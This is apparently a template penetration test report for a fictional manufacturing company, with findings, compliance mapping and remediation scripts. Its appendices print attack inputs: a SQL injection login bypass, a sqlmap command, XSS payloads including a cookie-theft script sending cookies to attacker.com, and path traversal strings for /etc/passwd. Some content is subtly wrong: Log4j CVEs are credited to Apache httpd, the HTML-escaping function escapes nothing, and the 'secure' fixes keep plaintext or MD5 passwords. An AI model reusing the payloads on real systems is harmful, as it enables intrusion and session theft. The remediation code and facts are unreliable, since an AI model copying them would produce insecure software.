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Penetration Testing Report
Sample Manufacturing Company

Assessment Date: March 15, 2024 | Assessment Type: External Network & Web Application Penetration Test

Scope: 25 IP addresses, 3 web applications | Overall Risk Rating: HIGH



Executive Summary

Key Findings

12 Critical vulnerabilities identified

8 High-risk vulnerabilities requiring immediate attention

15 Medium-risk vulnerabilities for planned remediation

3 Low-risk vulnerabilities for future consideration

Business Impact

The identified vulnerabilities could potentially lead to:

Complete network compromise

Customer data exposure

Financial loss estimated at $2.3M
Regulatory compliance violations

Business disruption lasting 2-4 weeks

Immediate Actions Required

1. Patch critical web application vulnerabilities (Priority 1)

2. Implement network segmentation (Priority 2)

3. Update default credentials (Priority 3)

Assessment Overview

Scope

External Network: 25 public IP addresses

Web Applications: 3 customer-facing applications

Testing Duration: 5 business days

Methodology: OWASP, NIST, and industry best practices



Testing Approach

Automated vulnerability scanning

Manual penetration testing

Social engineering assessment

Configuration review

Compliance mapping



Critical Vulnerabilities

1. SQL Injection in Customer Portal

Risk Level: CRITICAL | CVSS Score: 9.8/10

Business Impact: Complete database compromise, customer data exposure

Description:

The customer login portal contains a SQL injection vulnerability in the authentication mechanism. An

attacker can bypass authentication and gain full access to the customer database.

Proof of Concept:

POST /login.php username=admin' OR '1'='1'-- password=anything

Remediation:

Implement parameterized queries

Add input validation and sanitization

Deploy Web Application Firewall (WAF)

Timeline: 48 hours



2. Unpatched Web Server

Risk Level: CRITICAL | CVSS Score: 9.1/10

Business Impact: Server compromise, potential ransomware

Description:

The main web server is running Apache 2.4.41 with known critical vulnerabilities (CVE-2021-44228,

CVE-2021-45046). These vulnerabilities allow remote code execution.

Remediation:

Update Apache to version 2.4.52 or later

Apply all security patches

Implement automated patch management

Timeline: 24 hours

3. Default Administrator Credentials

Risk Level: CRITICAL | CVSS Score: 8.9/10

Business Impact: Administrative access, system compromise

Description:

The network equipment and several servers still use default administrator credentials (admin/admin,

admin/password).

Remediation:

Change all default passwords immediately

Implement strong password policy

Enable multi-factor authentication

Timeline: 4 hours



High-Risk Vulnerabilities

4. Cross-Site Scripting (XSS)

Risk Level: HIGH | CVSS Score: 7.8/10

Business Impact: Session hijacking, customer data theft

Description:

Multiple XSS vulnerabilities found in the customer portal and support system allow attackers to steal

user sessions and sensitive information.

Remediation:

Implement Content Security Policy (CSP)

Add input validation and output encoding

Timeline: 1 week



5. Weak SSL/TLS Configuration

Risk Level: HIGH | CVSS Score: 7.5/10

Business Impact: Data interception, man-in-the-middle attacks

Description:

SSL/TLS configuration allows weak ciphers and protocols, making encrypted communications

vulnerable to interception.

Remediation:

Disable SSL 2.0/3.0 and TLS 1.0/1.1

Implement strong cipher suites only

Timeline: 2 days

6. Information Disclosure

Risk Level: HIGH | CVSS Score: 7.2/10

Business Impact: System information exposure, reconnaissance

Description:

Error pages and system responses reveal sensitive information about server configuration, database

structure, and internal network details.

Remediation:

Implement generic error pages

Disable verbose error reporting

Timeline: 3 days



Medium-Risk Vulnerabilities

7. Outdated Software Components

Risk Level: MEDIUM | CVSS Score: 6.5/10

Business Impact: Potential exploitation of known vulnerabilities

Description:

Multiple web applications use outdated JavaScript libraries and frameworks with known security

issues.

Remediation:

Update all third-party components

Implement component monitoring

Timeline: 2 weeks



8. Insufficient Session Management

Risk Level: MEDIUM | CVSS Score: 6.2/10

Business Impact: Session hijacking, unauthorized access

Description:

Session tokens are predictable and don't expire properly, allowing attackers to hijack user sessions.

Remediation:

Implement secure session token generation

Set appropriate session timeouts

Timeline: 1 week



Compliance Assessment

PCI DSS Compliance

NON-COMPLIANT

Critical Issues: 3 | High Issues: 2

Key Gaps:

Requirement 6.5.1: SQL injection vulnerabilities

Requirement 6.5.7: XSS vulnerabilities

Requirement 2.1: Default passwords in use

HIPAA Compliance

NON-COMPLIANT

Critical Issues: 2 | High Issues: 1

Key Gaps:

§164.312(a)(1): Access control deficiencies

§164.312(e)(1): Transmission security issues



Risk Matrix

Vulnerability Likelihood Impact Risk Level Priority

SQL Injection High Critical CRITICAL 1

Unpatched Server High Critical CRITICAL 2

Default Credentials High High CRITICAL 3

XSS Vulnerabilities Medium High HIGH 4

Weak SSL/TLS Medium High HIGH 5

Information Disclosure Medium Medium MEDIUM 6



Remediation Roadmap

Phase 1: Critical Issues (Week 1)

Phase 2: High-Risk Issues (Weeks 2-4)

Phase 3: Medium-Risk Issues (Months 2-3)

Patch web server vulnerabilities☐

Fix SQL injection in customer portal☐

Change all default credentials☐

Implement emergency monitoring☐

Fix XSS vulnerabilities☐

Update SSL/TLS configuration☐

Implement generic error pages☐

Deploy Web Application Firewall☐

Update software components☐

Improve session management☐

Implement security monitoring☐

Conduct security training☐



Phase 4: Ongoing Security (Ongoing)

Recommendations

Immediate Actions (Next 48 Hours)

1. Emergency Patching: Update the web server immediately

2. Access Control: Change all default passwords

3. Monitoring: Implement temporary security monitoring

Short-term Actions (Next 30 Days)

1. Application Security: Fix all critical web application vulnerabilities

2. Network Security: Implement network segmentation

3. Monitoring: Deploy comprehensive security monitoring

Long-term Actions (Next 90 Days)

1. Security Program: Establish formal security program

2. Training: Implement security awareness training

3. Compliance: Achieve regulatory compliance

4. Testing: Establish regular penetration testing schedule

Regular vulnerability assessments☐

Security awareness training☐

Incident response planning☐

Compliance monitoring☐



Cost-Benefit Analysis

Cost of Remediation

Immediate fixes: $15,000

Short-term improvements: $45,000

Long-term security program: $120,000

Total investment: $180,000

Cost of Inaction

Average breach cost: $2.3M

Regulatory fines: $500K - $2M

Business disruption: $1M+

Total potential cost: $3.8M+

ROI of Security Investment

Risk reduction: 85% | Compliance achievement: 100%

ROI: 2,011% (preventing one breach pays for 20+ years of security)



Technical Details

Network Topology

Internet | [Firewall] - 192.168.1.1 | [Web Server] - 192.168.1.10 | [Database] -

192.168.1.20 | [Internal Network] - 192.168.1.0/24

Vulnerable Services

Port 80/443: Apache 2.4.41 (vulnerable)

Port 22: SSH (weak configuration)

Port 3389: RDP (exposed)

Port 1433: SQL Server (weak authentication)

Attack Vectors Tested

Network reconnaissance

Port scanning

Service enumeration

Vulnerability exploitation

Privilege escalation

Lateral movement

Data exfiltration

Conclusion

The penetration test revealed significant security vulnerabilities that pose immediate risks to Sample

Manufacturing Company. The critical vulnerabilities, particularly the SQL injection and unpatched web

server, require immediate attention to prevent potential data breaches.



Key Takeaways:

1. Immediate action required on critical vulnerabilities

2. Comprehensive security program needed for long-term protection

3. Regular testing recommended to maintain security posture

4. Compliance gaps identified requiring remediation

Next Steps:

1. Schedule remediation planning meeting

2. Begin immediate patching of critical issues

3. Develop comprehensive security roadmap

4. Plan follow-up assessment in 90 days



Appendices

Appendix A: Detailed Technical Findings

A.1 Network Discovery Results

# Nmap scan results Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-15 09:00 EST

Nmap scan report for sample-manufacturing.com (203.0.113.10) Host is up (0.045s

latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

80/tcp open http Apache/2.4.41 (Unix) 443/tcp open ssl/http Apache/2.4.41 (Unix)

3389/tcp open ms-wbt-server Microsoft Terminal Services 1433/tcp open ms-sql-s

Microsoft SQL Server 2017 Service detection performed. Please report any incorrect

results.

A.2 Web Application Vulnerabilities

A.2.1 SQL Injection Details

Affected Parameter: username field in /login.php

Database Type: MySQL 5.7.32

Injection Type: Boolean-based blind SQL injection

# SQLMap command used for testing sqlmap -u "https://sample-

manufacturing.com/login.php" \ --data="username=test&password=test" \ --batch --

level=5 --risk=3 \ --dbms=mysql --technique=B

A.2.2 Cross-Site Scripting (XSS) Details

Affected Pages: /search.php, /contact.php, /profile.php

XSS Type: Reflected and Stored XSS

Payload Examples:



# Reflected XSS payload <script>alert('XSS')</script> # Stored XSS payload <img

src=x onerror=alert('XSS')> # Cookie theft payload

<script>document.location='http://attacker.com/steal.php?

cookie='+document.cookie</script>

A.3 SSL/TLS Configuration Analysis

# SSL Labs test results SSL Labs Grade: F Protocols: SSL 2.0, SSL 3.0, TLS 1.0, TLS

1.1, TLS 1.2 Cipher Suites: 15 weak ciphers detected Certificate: Valid but weak

(1024-bit RSA)

A.4 Directory Traversal Findings

Vulnerable Endpoints:

/download.php?file=../../../etc/passwd

/view.php?doc=..\..\..\windows\system32\drivers\etc\hosts

A.5 Information Disclosure

# Error page revealing system information HTTP/1.1 500 Internal Server Error Server:

Apache/2.4.41 (Unix) PHP/7.4.3 X-Powered-By: PHP/7.4.3 X-Debug-Token:

5f8b2c1a3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0 X-Debug-Token-Link:

/_profiler/5f8b2c1a3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0 Fatal error: Call to

undefined function mysql_connect() in /var/www/html/includes/database.php on line 15

Appendix B: Remediation Scripts

B.1 Apache Security Hardening Script

#!/bin/bash # Apache Security Hardening Script # Update Apache to latest version yum

update httpd -y # Disable server signature echo "ServerTokens Prod" >>

/etc/httpd/conf/httpd.conf echo "ServerSignature Off" >> /etc/httpd/conf/httpd.conf

# Disable directory browsing echo "Options -Indexes" >> /etc/httpd/conf/httpd.conf #

Hide PHP version echo "expose_php = Off" >> /etc/php.ini # Restart Apache systemctl

restart httpd systemctl enable httpd



B.2 SQL Injection Prevention (PHP)

<?php // BEFORE (Vulnerable) $username = $_POST['username']; $password =

$_POST['password']; $query = "SELECT * FROM users WHERE username='$username' AND

password='$password'"; $result = mysql_query($query); // AFTER (Secure) $username =

$_POST['username']; $password = $_POST['password']; // Use prepared statements $stmt

= $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt-

>execute([$username, $password]); $result = $stmt->fetch(); // Additional validation

if (!filter_var($username, FILTER_VALIDATE_EMAIL)) { die("Invalid username format");

} ?>

B.3 XSS Prevention (JavaScript)

// XSS Prevention Functions function escapeHtml(text) { const map = { '&': '&', '<':

'<', '>': '>', '"': '"', "'": ''' }; return text.replace(/[&<>"']/g, function(m) {

return map[m]; }); } function sanitizeInput(input) { return

escapeHtml(input.trim()); } // Content Security Policy header // Add to Apache

configuration: // Header always set Content-Security-Policy "default-src 'self';

script-src 'self' 'unsafe-inline'"

B.4 SSL/TLS Hardening Configuration

# Apache SSL Configuration (/etc/httpd/conf.d/ssl.conf) SSLProtocol all -SSLv2 -

SSLv3 -TLSv1 -TLSv1.1 SSLCipherSuite ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-

GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-

AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256 SSLHonorCipherOrder off

SSLSessionTickets off # HSTS Header Header always set Strict-Transport-Security

"max-age=63072000; includeSubDomains; preload"

B.5 Default Password Change Script

#!/bin/bash # Default Password Change Script # Generate strong passwords

generate_password() { openssl rand -base64 32 | tr -d "=+/" | cut -c1-25 } # Change

default passwords echo "Changing default passwords..." # Network equipment ssh

admin@192.168.1.1 "configure; set system login user admin authentication plain-text-

password '$(generate_password)'" # Database mysql -u root -p -e "ALTER USER

'root'@'localhost' IDENTIFIED BY '$(generate_password)';" # Application accounts

mysql -u root -p -e "UPDATE users SET password = MD5('$(generate_password)') WHERE

username = 'admin';" echo "All default passwords changed successfully."



Appendix C: Compliance Mapping

C.1 PCI DSS Compliance Mapping

PCI DSS Requirement
Current
Status

Vulnerability Remediation

Req 1.1.6 - Firewall Rules
Non-

Compliant
Port 3389 exposed Implement firewall rules

Req 2.1 - Default

Passwords

Non-

Compliant

Default admin

credentials

Change all default

passwords

Req 6.5.1 - SQL Injection
Non-

Compliant
SQL injection in login

Implement parameterized

queries

Req 6.5.7 - XSS
Non-

Compliant

Multiple XSS

vulnerabilities

Input validation & output

encoding

Req 4.1 - Strong

Cryptography

Non-

Compliant

Weak SSL/TLS

configuration
Update SSL/TLS settings

C.2 HIPAA Compliance Mapping

HIPAA
Section

Requirement Current Status Gap

§164.312(a)(1) Access Control Non-Compliant
Default credentials, weak

authentication

§164.312(e)(1)
Transmission

Security
Non-Compliant Weak SSL/TLS, unencrypted data

§164.312(c)(1) Integrity
Partially

Compliant
No data integrity monitoring

§164.312(b) Audit Controls Non-Compliant Insufficient logging and monitoring



C.3 SOC 2 Trust Services Criteria

C.3.1 Security

CC6.1 - Logical Access: Non-compliant due to default credentials

CC6.2 - Authentication: Non-compliant due to weak password policies

CC6.3 - Authorization: Partially compliant, needs role-based access

CC6.6 - Data Transmission: Non-compliant due to weak encryption

C.3.2 Availability

CC7.1 - System Monitoring: Non-compliant, no monitoring in place

CC7.2 - Incident Response: Non-compliant, no formal process

CC7.3 - Change Management: Partially compliant, needs formal process

C.4 NIST Cybersecurity Framework

NIST Function Category Current Maturity Target Maturity

Identify ID.AM-1: Asset Inventory Level 1 Level 3

Protect PR.AC-1: Identity Management Level 1 Level 3

Detect DE.CM-1: Network Monitoring Level 1 Level 3

Respond RS.RP-1: Response Planning Level 1 Level 3

Recover RC.RP-1: Recovery Planning Level 1 Level 3

Appendix D: Glossary

D.1 Vulnerability Types

SQL Injection

A code injection technique used to attack data-driven applications where malicious SQL statements

are inserted into an entry field for execution.

Cross-Site Scripting (XSS)
A type of security vulnerability typically found in web applications that allows attackers to inject client-

side scripts into web pages viewed by other users.

Cross-Site Request Forgery (CSRF)



An attack that forces an end user to execute unwanted actions on a web application in which they're

currently authenticated.

Directory Traversal
An HTTP attack that allows attackers to access restricted directories and execute commands outside

of the web server's root directory.

Privilege Escalation

The act of exploiting a bug, design flaw, or configuration oversight in an operating system or software

application to gain elevated access to resources.

D.2 Security Standards & Frameworks

PCI DSS (Payment Card Industry Data Security Standard)
A set of security standards designed to ensure that all companies that accept, process, store or

transmit credit card information maintain a secure environment.

HIPAA (Health Insurance Portability and Accountability Act)
US legislation that provides data privacy and security provisions for safeguarding medical information.

SOC 2 (Service Organization Control 2)
An auditing procedure that ensures service providers securely manage data to protect the interests

and privacy of their clients.

NIST Cybersecurity Framework

A voluntary framework consisting of standards, guidelines, and best practices to manage

cybersecurity-related risk.

OWASP (Open Web Application Security Project)
A nonprofit foundation that works to improve the security of software through community-led open

source projects.

D.3 Technical Terms

CVSS (Common Vulnerability Scoring System)
A free and open industry standard for assessing the severity of computer system security

vulnerabilities.

SSL/TLS (Secure Sockets Layer/Transport Layer Security)

Cryptographic protocols designed to provide communications security over a computer network.

WAF (Web Application Firewall)

A firewall that monitors, filters, and blocks HTTP traffic to and from a web application.

CSP (Content Security Policy)

An added layer of security that helps to detect and mitigate certain types of attacks, including XSS

and data injection attacks.

MFA (Multi-Factor Authentication)
A security system that requires more than one method of authentication from independent categories

of credentials to verify the user's identity.

SIEM (Security Information and Event Management)



Software products and services combining security information management and security event

management.

IDS/IPS (Intrusion Detection/Prevention System)
Network security appliances that monitor network or system activities for malicious activities or policy

violations.

Penetration Testing

An authorized simulated cyberattack on a computer system, performed to evaluate the security of the

system.

Vulnerability Assessment
The process of identifying, quantifying, and prioritizing vulnerabilities in computer systems,

applications, and network infrastructures.

Risk Assessment

The process of identifying, analyzing, and evaluating risks to determine the appropriate ways to

eliminate or control hazards.

D.4 Compliance Terms

Compliance Gap

The difference between current security posture and required compliance standards.

Remediation

The process of correcting or neutralizing a security vulnerability or compliance gap.

Risk Mitigation

The process of reducing the likelihood or impact of a security risk.

Security Posture

The overall security status of an organization's networks, information, and systems based on

information security resources and capabilities.

Threat Landscape
The current state of potential and actual cyber threats that could affect an organization.
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